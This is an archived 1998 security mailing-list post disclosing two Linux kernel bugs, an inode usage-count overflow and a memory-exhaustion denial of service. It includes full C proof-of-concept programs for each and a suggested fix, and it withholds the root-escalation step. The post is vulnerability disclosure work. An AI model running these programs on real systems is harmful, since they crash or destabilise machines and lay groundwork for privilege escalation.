Linux inode.i_count overflow

From: Aleph One (aleph1at_private)
Date: Wed Jan 14 1998 - 08:21:39 PST

  • Next message: M Shariful Anam: "Re: Xserver stack smashed"

    http://www.ms.mff.cuni.cz/~jkot2155/linuxbug.html
    
       While I was working on my master thesis (Emulation of [1]Classic
       Operating Systems in [2]Distributed Environment), I found following
       two nasty things in Linux sources:
    
                            i_count Overflow Security Hole
    
       Member i_count in struct inode contains the usage count. It is of type
       unsigned short, which is only 16-bit long on i386. Unfortunately, it
       is not enough. You can make it overflow by mapping one file many
       times:
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/mman.h>
    
    void main()
    {
     int fd, i;
    
     fd = open("/lib/libc.so.5", O_RDONLY);
    
     for(i = 0; i < 65540; i++)
     {
      mmap((char*)0x50000000 + (0x1000 * i), 0x1000,
       PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);
     }
    }
    
       Warning: This program will cause unpredictable behavior of the whole
       system!!!
    
       While killing this program kernel will print many messages:
    VFS: iput: trying to free free inode
    
       After executing the program, there will be free inode which is
       actually mapped in other processes. The only think you need to grab
       root privileges is opening your modified libc in original inode and
       making system to use it. It is a little tricky magic with inode cache
       and memory manager. I will not publish it here to avoid misuse of this
       security hole.
    
       To fix this bug simply change the i_count type to unsigned long.
    
      Related links
    
         * [3]Reply to my linux-security post
    
                           Crashing System by Eating Memory
    
       This topic is related to previous one. The Linux memory manager
       allocates small chunk (64 bytes) of memory for every file mapping. By
       mapping one file many times, a process can eat all available memory
       and actually stop the system responding even for root. You can do it
       by executing one or more instances of program like this:
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/mman.h>
    #include <stdio.h>
    
    void main()
    {
     int fd, i;
     char *name;
     char *address;
    
     name = tmpnam(NULL);
     fd = open(name, O_RDWR | O_CREAT);
     unlink(name);
    
     address = (char*)0x1000;
    
     for(i = 0; ; i++)
     {
      /* skip program interpreter */
      if(address == (char*)0x08000000) address = (char*)0x09000000;
      else
      /* skip program itself */
      if(address == (char*)0x40000000) address = (char*)0x41000000;
      else
      /* skip program stack and kernel */
      if(address == (char*)0xBF000000) break;
    
      if(mmap(address, 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) == (void*)
    -1)
       break;
    
      if(!(i&0xFFF)) fprintf(stderr, "%d done\n", i);
    
      address += 0x1000;
     }
    
     fprintf(stderr, "%i (%08x) total, press Ctrl+C\n", i, address);
    
     for(;;) pause();
    }
    
       Warning: This program will cause unpredictable behavior of the whole
       system!!!
    
       Every instance of the program will eat about 32MB of RAM if running in
       typical Linux configuration. Although you can avoid users to eat
       resources this way by setting resource limits properly this effect can
       be considered to be a Linux bug. Linux is protected to avoid
       allocating all process slots by normal users. There are reserved
       MIN_TASKS_LEFT_FOR_ROOT slots for root. So there should be also
       protection to avoid allocating all memory by normal users.
         _________________________________________________________________
    
       I am not a Linux expert, so please don't upset if these thinks are
       well known. Feel free to send me comments.
    
    
        [4]Jan.Kotasat_private
    
       January 11, 1998
    
    References
    
       1. http://www.linux.org/
       2. http://ulita.ms.mff.cuni.cz/pub/t4/
       3. http://www.ms.mff.cuni.cz/~jkot2155/linuxbug/wolff.txt.iso-8859-1
       4. mailto:Jan.Kotasat_private
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:38:55 PDT